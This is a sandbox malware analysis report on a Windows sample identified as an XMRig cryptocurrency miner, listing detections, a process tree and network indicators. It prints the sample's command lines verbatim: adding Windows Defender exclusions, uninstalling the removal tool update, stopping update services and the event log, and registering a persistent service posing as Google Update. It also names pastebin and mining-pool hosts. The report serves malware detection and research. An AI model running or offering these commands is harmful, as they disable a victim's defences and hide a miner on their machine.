Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe

Overview

General Information

Sample name:SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe
Analysis ID:1486951
MD5:dd3aa70adbe7894d6705ddb398155628
SHA1:bb1a69a94a1fb87e934657f582a06e716305a94c
SHA256:6b32ec90229466753e03ba4d9eb0c4eb225b8ca2fc5beea04f1ca4a887907c6b
Tags:CoinMinerexe
Infos:

Detection

Xmrig
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Disable power options
Sigma detected: Stop EventLog
System process connects to network (likely due to code injection or exploit)
Yara detected Xmrig cryptocurrency miner
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Connects to a pastebin service (likely for C&C)
DNS related to crypt mining pools
Detected VMProtect packer
Found direct / indirect Syscall (likely to bypass EDR)
Injects code into the Windows Explorer (explorer.exe)
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Machine Learning detection for sample
Modifies power options to not sleep / hibernate
Modifies the context of a thread in another process (thread injection)
Modifies the hosts file
Overwrites code with unconditional jumps - possibly settings hooks in foreign process
Query firmware table information (likely to detect VMs)
Sample is not signed and drops a device driver
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect virtualization through RDTSC time measurements
Uses powercfg.exe to modify the power settings
AV process strings found (often used to terminate AV products)
Contains functionality to call native functions
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates driver files
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Powershell Defender Exclusion
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe (PID: 736 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe" MD5: DD3AA70ADBE7894D6705DDB398155628)
    • powershell.exe (PID: 3716 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 5024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 4128 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 3784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • wusa.exe (PID: 2892 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)
    • sc.exe (PID: 4112 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 1100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 320 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 6768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 5780 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 3496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 1292 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 2072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 7132 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 5332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 3040 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 7112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 4332 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 3716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 4160 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 5004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 5024 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 5940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 3692 cmdline: C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineK" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 3812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 3636 cmdline: C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineK" binpath= "C:\ProgramData\GoogleUP\Chrome\Updater.exe" start= "auto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 3560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 7064 cmdline: C:\Windows\system32\sc.exe stop eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 1784 cmdline: C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineK" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 5780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • Updater.exe (PID: 6056 cmdline: C:\ProgramData\GoogleUP\Chrome\Updater.exe MD5: DD3AA70ADBE7894D6705DDB398155628)
    • powershell.exe (PID: 6160 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 2616 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 1164 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • wusa.exe (PID: 3692 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)
    • sc.exe (PID: 4112 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 5788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 2888 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 2828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 3784 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 6768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 1576 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 6444 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 2300 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 4512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 1400 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 3668 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 1988 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 2260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 5472 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 6640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 5332 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 4012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • conhost.exe (PID: 5788 cmdline: C:\Windows\system32\conhost.exe MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • explorer.exe (PID: 6556 cmdline: explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)
  • svchost.exe (PID: 6056 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
xmrigAccording to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

⊘No configs have been found

Yara Signatures

PCAP (Network Traffic)

SourceRuleDescriptionAuthorStrings
sslproxydump.pcapJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    0000003B.00000002.4492113616.0000000000BA5000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
      0000003B.00000003.2173281186.0000000000C51000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
        0000003B.00000003.2173261256.0000000000C43000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
          0000003B.00000003.2173155346.0000000001647000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
            0000003B.00000003.2173155346.000000000163E000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
              Click to see the 4 entries

              Sigma Signatures

              Change of critical system settings

              barindex
              Sigma detected: Disable power options
              Source: Process startedAuthor: Joe Security: Data: Command: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\powercfg.exe, NewProcessName: C:\Windows\System32\powercfg.exe, OriginalFileName: C:\Windows\System32\powercfg.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe, ParentProcessId: 736, ParentProcessName: SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe, ProcessCommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, ProcessId: 3040, ProcessName: powercfg.exe

              System Summary

              barindex
              Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe, ParentProcessId: 736, ParentProcessName: SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 3716, ProcessName: powershell.exe
              Sigma detected: Powershell Defender Exclusion
              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe, ParentProcessId: 736, ParentProcessName: SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 3716, ProcessName: powershell.exe
              Sigma detected: New Service Creation Using Sc.EXE
              Source: Process startedAuthor: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineK" binpath= "C:\ProgramData\GoogleUP\Chrome\Updater.exe" start= "auto", CommandLine: C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineK" binpath= "C:\ProgramData\GoogleUP\Chrome\Updater.exe" start= "auto", CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe, ParentProcessId: 736, ParentProcessName: SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe, ProcessCommandLine: C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineK" binpath= "C:\ProgramData\GoogleUP\Chrome\Updater.exe" start= "auto", ProcessId: 3636, ProcessName: sc.exe
              Sigma detected: Non Interactive PowerShell Process Spawned
              Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe, ParentProcessId: 736, ParentProcessName: SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 3716, ProcessName: powershell.exe
              Sigma detected: Windows Processes Suspicious Parent Directory
              Source: Process startedAuthor: vburov: Data: Command: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager, CommandLine: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager, ProcessId: 6056, ProcessName: svchost.exe

              HIPS / PFW / Operating System Protection Evasion

              barindex
              Sigma detected: Stop EventLog
              Source: Process startedAuthor: Joe Security: Data: Command: C:\Windows\system32\sc.exe stop eventlog, CommandLine: C:\Windows\system32\sc.exe stop eventlog, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe, ParentProcessId: 736, ParentProcessName: SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe, ProcessCommandLine: C:\Windows\system32\sc.exe stop eventlog, ProcessId: 7064, ProcessName: sc.exe

              Snort Signatures

              ⊘No Snort rule has matched

              Joe Sandbox Signatures

              Click to jump to signature section

              Show All Signature Results

              AV Detection

              barindex
              Multi AV Scanner detection for dropped file
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeReversingLabs: Detection: 68%
              Multi AV Scanner detection for submitted file
              Source: SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeReversingLabs: Detection: 68%
              AI detected suspicious sample
              Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
              Machine Learning detection for dropped file
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeJoe Sandbox ML: detected
              Machine Learning detection for sample
              Source: SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeJoe Sandbox ML: detected

              Bitcoin Miner

              barindex
              Yara detected Xmrig cryptocurrency miner
              Source: Yara matchFile source: sslproxydump.pcap, type: PCAP
              Source: Yara matchFile source: 0000003B.00000002.4492113616.0000000000BA5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000003B.00000003.2173281186.0000000000C51000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000003B.00000003.2173261256.0000000000C43000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000003B.00000003.2173155346.0000000001647000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000003B.00000003.2173155346.000000000163E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000003B.00000002.4492113616.0000000000C3F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000003B.00000002.4492983772.0000000001610000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000003B.00000002.4492113616.0000000000BC0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: explorer.exe PID: 6556, type: MEMORYSTR
              DNS related to crypt mining pools
              Source: unknownDNS query: name: xmr-eu1.nanopool.org
              Source: SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
              Source: Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: Updater.exe, 00000022.00000003.2147643226.0000025C11A80000.00000004.00000001.00020000.00000000.sdmp, xeorhgblkian.sys.34.dr

              Networking

              barindex
              System process connects to network (likely due to code injection or exploit)
              Source: C:\Windows\explorer.exeNetwork Connect: 104.20.3.235 443Jump to behavior
              Source: C:\Windows\explorer.exeNetwork Connect: 54.37.232.103 10343Jump to behavior
              Source: C:\Windows\explorer.exeNetwork Connect: 146.59.154.106 10343Jump to behavior
              Connects to a pastebin service (likely for C&C)
              Source: unknownDNS query: name: pastebin.com
              Source: global trafficTCP traffic: 192.168.2.5:49704 -> 54.37.232.103:10343
              Source: global trafficTCP traffic: 192.168.2.5:49706 -> 146.59.154.106:10343
              Source: Joe Sandbox ViewIP Address: 104.20.3.235 104.20.3.235
              Source: Joe Sandbox ViewASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
              Source: Joe Sandbox ViewASN Name: OVHFR OVHFR
              Source: Joe Sandbox ViewASN Name: OVHFR OVHFR
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: global trafficHTTP traffic detected: GET /raw/vtH4ka4Q HTTP/1.1Accept: */*Connection: closeHost: pastebin.comUser-Agent: cpp-httplib/0.12.6
              Source: global trafficDNS traffic detected: DNS query: xmr-eu1.nanopool.org
              Source: global trafficDNS traffic detected: DNS query: pastebin.com
              Source: Updater.exe, 00000022.00000003.2147361760.0000025C11A8B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
              Source: Updater.exe, 00000022.00000003.2147361760.0000025C11A80000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
              Source: Updater.exe, 00000022.00000003.2147361760.0000025C11A8B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
              Source: Updater.exe, 00000022.00000003.2147361760.0000025C11A80000.00000004.00000001.00020000.00000000.sdmp, Updater.exe, 00000022.00000003.2147361760.0000025C11A8B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
              Source: explorer.exe, 0000003B.00000002.4492983772.0000000001610000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.cloudflare.com/origin_ca.crl
              Source: explorer.exe, 0000003B.00000002.4492983772.0000000001610000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.cloudflare.com/origin_ca.crl0
              Source: explorer.exe, 0000003B.00000002.4492113616.0000000000BFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.cloudflare.com/origin_ca.crllU
              Source: explorer.exe, 0000003B.00000002.4492983772.0000000001610000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.cloudflare.com/origin_ca.crlr
              Source: Updater.exe, 00000022.00000003.2147643226.0000025C11A80000.00000004.00000001.00020000.00000000.sdmp, xeorhgblkian.sys.34.drString found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
              Source: Updater.exe, 00000022.00000003.2147643226.0000025C11A80000.00000004.00000001.00020000.00000000.sdmp, xeorhgblkian.sys.34.drString found in binary or memory: http://crl.globalsign.net/Root.crl0
              Source: Updater.exe, 00000022.00000003.2147643226.0000025C11A80000.00000004.00000001.00020000.00000000.sdmp, xeorhgblkian.sys.34.drString found in binary or memory: http://crl.globalsign.net/RootSignPartners.crl0
              Source: Updater.exe, 00000022.00000003.2147643226.0000025C11A80000.00000004.00000001.00020000.00000000.sdmp, xeorhgblkian.sys.34.drString found in binary or memory: http://crl.globalsign.net/primobject.crl0
              Source: Updater.exe, 00000022.00000003.2147361760.0000025C11A8B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
              Source: Updater.exe, 00000022.00000003.2147361760.0000025C11A80000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
              Source: Updater.exe, 00000022.00000003.2147361760.0000025C11A8B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
              Source: Updater.exe, 00000022.00000003.2147361760.0000025C11A80000.00000004.00000001.00020000.00000000.sdmp, Updater.exe, 00000022.00000003.2147361760.0000025C11A8B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
              Source: Updater.exe, 00000022.00000003.2147361760.0000025C11A80000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
              Source: explorer.exe, 0000003B.00000002.4492983772.0000000001610000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.cloudflare.com/origin_ca
              Source: explorer.exe, 0000003B.00000002.4492113616.0000000000BFE000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003B.00000002.4492983772.0000000001610000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.cloudflare.com/origin_ca0
              Source: explorer.exe, 0000003B.00000002.4492983772.0000000001610000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.cloudflare.com/origin_caW
              Source: Updater.exe, 00000022.00000003.2147361760.0000025C11A80000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0
              Source: Updater.exe, 00000022.00000003.2147361760.0000025C11A80000.00000004.00000001.00020000.00000000.sdmp, Updater.exe, 00000022.00000003.2147361760.0000025C11A8B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0A
              Source: Updater.exe, 00000022.00000003.2147361760.0000025C11A8B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0C
              Source: Updater.exe, 00000022.00000003.2147361760.0000025C11A8B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0X
